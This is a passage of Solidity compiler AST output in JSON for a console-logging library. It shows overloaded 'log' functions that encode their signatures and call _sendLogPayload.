pure"}},"id":28615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42643:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28616,"nodeType":"ExpressionStatement","src":"42643:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42564:3:15","parameters":{"id":28604,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28597,"mutability":"mutable","name":"p0","nameLocation":"42582:2:15","nodeType":"VariableDeclaration","scope":28618,"src":"42568:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28596,"name":"string","nodeType":"ElementaryTypeName","src":"42568:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28599,"mutability":"mutable","name":"p1","nameLocation":"42594:2:15","nodeType":"VariableDeclaration","scope":28618,"src":"42586:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28598,"name":"address","nodeType":"ElementaryTypeName","src":"42586:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28601,"mutability":"mutable","name":"p2","nameLocation":"42606:2:15","nodeType":"VariableDeclaration","scope":28618,"src":"42598:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28600,"name":"uint256","nodeType":"ElementaryTypeName","src":"42598:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28603,"mutability":"mutable","name":"p3","nameLocation":"42615:2:15","nodeType":"VariableDeclaration","scope":28618,"src":"42610:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28602,"name":"bool","nodeType":"ElementaryTypeName","src":"42610:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"42567:51:15"},"returnParameters":{"id":28605,"nodeType":"ParameterList","parameters":[],"src":"42633:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28641,"nodeType":"FunctionDefinition","src":"42748:193:15","nodes":[],"body":{"id":28640,"nodeType":"Block","src":"42829:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e743235362c6164647265737329","id":28632,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42879:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_63fb8bc57476e3f2139504feb3fa304f43eeecc15ac8e150b7b3c9fdfa4ea83a","typeString":"literal_string \"log(string,address,uint256,address)\""},"value":"log(string,address,uint256,address)"},{"id":28633,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28620,"src":"42918:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28634,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28622,"src":"42922:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28635,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28624,"src":"42926:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28636,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28626,"src":"42930:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_63fb8bc57476e3f2139504feb3fa304f43eeecc15ac8e150b7b3c9fdfa4ea83a","typeString":"literal_string \"log(string,address,uint256,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28630,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42855:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28631,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42859:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42855:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28637,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42855:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28629,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"42839:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42839:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28639,"nodeType":"ExpressionStatement","src":"42839:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42757:3:15","parameters":{"id":28627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28620,"mutability":"mutable","name":"p0","nameLocation":"42775:2:15","nodeType":"VariableDeclaration","scope":28641,"src":"42761:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28619,"name":"string","nodeType":"ElementaryTypeName","src":"42761:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28622,"mutability":"mutable","name":"p1","nameLocation":"42787:2:15","nodeType":"VariableDeclaration","scope":28641,"src":"42779:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28621,"name":"address","nodeType":"ElementaryTypeName","src":"42779:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28624,"mutability":"mutable","name":"p2","nameLocation":"42799:2:15","nodeType":"VariableDeclaration","scope":28641,"src":"42791:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28623,"name":"uint256","nodeType":"ElementaryTypeName","src":"42791:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28626,"mutability":"mutable","name":"p3","nameLocation":"42811:2:15","nodeType":"VariableDeclaration","scope":28641,"src":"42803:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28625,"name":"address","nodeType":"ElementaryTypeName","src":"42803:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"42760:54:15"},"returnParameters":{"id":28628,"nodeType":"ParameterList","parameters":[],"src":"42829:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28664,"nodeType":"FunctionDefinition","src":"42947:198:15","nodes":[],"body":{"id":28663,"nodeType":"Block","src":"43034:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c75696e7432353629","id":28655,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43084:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_91d1112e9ca774de680c78512401449500c1938a4e449f6e73f80a84d95cfcfd","typeString":"literal_string \"log(string,address,string,uint256)\""},"value":"log(string,address,string,uint256)"},{"id":28656,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28643,"src":"43122:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28657,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28645,"src":"43126:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28658,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28647,"src":"43130:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28659,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28649,"src":"43134:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_91d1112e9ca774de680c78512401449500c1938a4e449f6e73f80a84d95cfcfd","typeString":"literal_string \"log(string,address,string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28653,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43060:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28654,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43064:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43060:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28660,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43060:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28652,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"43044:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43044:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28662,"nodeType":"ExpressionStatement","src":"43044:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42956:3:15","parameters":{"id":28650,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28643,"mutability":"mutable","name":"p0","nameLocation":"42974:2:15","nodeType":"VariableDeclaration","scope":28664,"src":"42960:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28642,"name":"string","nodeType":"ElementaryTypeName","src":"42960:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28645,"mutability":"mutable","name":"p1","nameLocation":"42986:2:15","nodeType":"VariableDeclaration","scope":28664,"src":"42978:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28644,"name":"address","nodeType":"ElementaryTypeName","src":"42978:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28647,"mutability":"mutable","name":"p2","nameLocation":"43004:2:15","nodeType":"VariableDeclaration","scope":28664,"src":"42990:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28646,"name":"string","nodeType":"ElementaryTypeName","src":"42990:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28649,"mutability":"mutable","name":"p3","nameLocation":"43016:2:15","nodeType":"VariableDeclaration","scope":28664,"src":"43008:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28648,"name":"uint256","nodeType":"ElementaryTypeName","src":"43008:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42959:60:15"},"returnParameters":{"id":28651,"nodeType":"ParameterList","parameters":[],"src":"43034:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28687,"nodeType":"FunctionDefinition","src":"43151:203:15","nodes":[],"body":{"id":28686,"nodeType":"Block","src":"43244:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c737472696e6729","id":28678,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43294:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_245986f22170901865e76245a48ee28ce0127ca357f6ad576a72190e1d358797","typeString":"literal_string \"log(string,address,string,string)\""},"value":"log(string,address,string,string)"},{"id":28679,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28666,"src":"43331:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28680,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28668,"src":"43335:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28681,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28670,"src":"43339:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28682,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28672,"src":"43343:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_245986f22170901865e76245a48ee28ce0127ca357f6ad576a72190e1d358797","typeString":"literal_string \"log(string,address,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28676,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43270:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28677,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43274:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43270:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43270:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28675,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"43254:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43254:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28685,"nodeType":"ExpressionStatement","src":"43254:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43160:3:15","parameters":{"id":28673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28666,"mutability":"mutable","name":"p0","nameLocation":"43178:2:15","nodeType":"VariableDeclaration","scope":28687,"src":"43164:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28665,"name":"string","nodeType":"ElementaryTypeName","src":"43164:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28668,"mutability":"mutable","name":"p1","nameLocation":"43190:2:15","nodeType":"VariableDeclaration","scope":28687,"src":"43182:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28667,"name":"address","nodeType":"ElementaryTypeName","src":"43182:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28670,"mutability":"mutable","name":"p2","nameLocation":"43208:2:15","nodeType":"VariableDeclaration","scope":28687,"src":"43194:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28669,"name":"string","nodeType":"ElementaryTypeName","src":"43194:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28672,"mutability":"mutable","name":"p3","nameLocation":"43226:2:15","nodeType":"VariableDeclaration","scope":28687,"src":"43212:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28671,"name":"string","nodeType":"ElementaryTypeName","src":"43212:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43163:66:15"},"returnParameters":{"id":28674,"nodeType":"ParameterList","parameters":[],"src":"43244:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28710,"nodeType":"FunctionDefinition","src":"43360:192:15","nodes":[],"body":{"id":28709,"nodeType":"Block","src":"43444:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c626f6f6c29","id":28701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43494:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5f15d28c15ddff15fba1c00f6a4975ae6af8b36c9b2a875bf59bd45049046154","typeString":"literal_string \"log(string,address,string,bool)\""},"value":"log(string,address,string,bool)"},{"id":28702,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28689,"src":"43529:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28703,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28691,"src":"43533:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28704,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28693,"src":"43537:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28705,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28695,"src":"43541:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5f15d28c15ddff15fba1c00f6a4975ae6af8b36c9b2a875bf59bd45049046154","typeString":"literal_string \"log(string,address,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28699,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43470:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28700,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43474:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43470:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28706,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43470:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28698,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"43454:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43454:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28708,"nodeType":"ExpressionStatement","src":"43454:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43369:3:15","parameters":{"id":28696,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28689,"mutability":"mutable","name":"p0","nameLocation":"43387:2:15","nodeType":"VariableDeclaration","scope":28710,"src":"43373:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28688,"name":"string","nodeType":"ElementaryTypeName","src":"43373:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28691,"mutability":"mutable","name":"p1","nameLocation":"43399:2:15","nodeType":"VariableDeclaration","scope":28710,"src":"43391:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28690,"name":"address","nodeType":"ElementaryTypeName","src":"43391:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28693,"mutability":"mutable","name":"p2","nameLocation":"43417:2:15","nodeType":"VariableDeclaration","scope":28710,"src":"43403:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28692,"name":"string","nodeType":"ElementaryTypeName","src":"43403:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28695,"mutability":"mutable","name":"p3","nameLocation":"43426:2:15","nodeType":"VariableDeclaration","scope":28710,"src":"43421:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28694,"name":"bool","nodeType":"ElementaryTypeName","src":"43421:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"43372:57:15"},"returnParameters":{"id":28697,"nodeType":"ParameterList","parameters":[],"src":"43444:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28733,"nodeType":"FunctionDefinition","src":"43558:198:15","nodes":[],"body":{"id":28732,"nodeType":"Block","src":"43645:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c6164647265737329","id":28724,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43695:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_aabc9a311ab49789834b120d81155a7fee846a9f0d4f740bbeb970770190c82d","typeString":"literal_string \"log(string,address,string,address)\""},"value":"log(string,address,string,address)"},{"id":28725,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28712,"src":"43733:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28726,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28714,"src":"43737:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28727,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28716,"src":"43741:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28728,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28718,"src":"43745:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aabc9a311ab49789834b120d81155a7fee846a9f0d4f740bbeb970770190c82d","typeString":"literal_string \"log(string,address,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28722,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43671:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28723,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43675:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43671:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43671:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28721,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"43655:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43655:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28731,"nodeType":"ExpressionStatement","src":"43655:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43567:3:15","parameters":{"id":28719,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28712,"mutability":"mutable","name":"p0","nameLocation":"43585:2:15","nodeType":"VariableDeclaration","scope":28733,"src":"43571:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28711,"name":"string","nodeType":"ElementaryTypeName","src":"43571:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28714,"mutability":"mutable","name":"p1","nameLocation":"43597:2:15","nodeType":"VariableDeclaration","scope":28733,"src":"43589:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28713,"name":"address","nodeType":"ElementaryTypeName","src":"43589:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28716,"mutability":"mutable","name":"p2","nameLocation":"43615:2:15","nodeType":"VariableDeclaration","scope":28733,"src":"43601:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28715,"name":"string","nodeType":"ElementaryTypeName","src":"43601:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28718,"mutability":"mutable","name":"p3","nameLocation":"43627:2:15","nodeType":"VariableDeclaration","scope":28733,"src":"43619:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28717,"name":"address","nodeType":"ElementaryTypeName","src":"43619:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"43570:60:15"},"returnParameters":{"id":28720,"nodeType":"ParameterList","parameters":[],"src":"43645:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":2875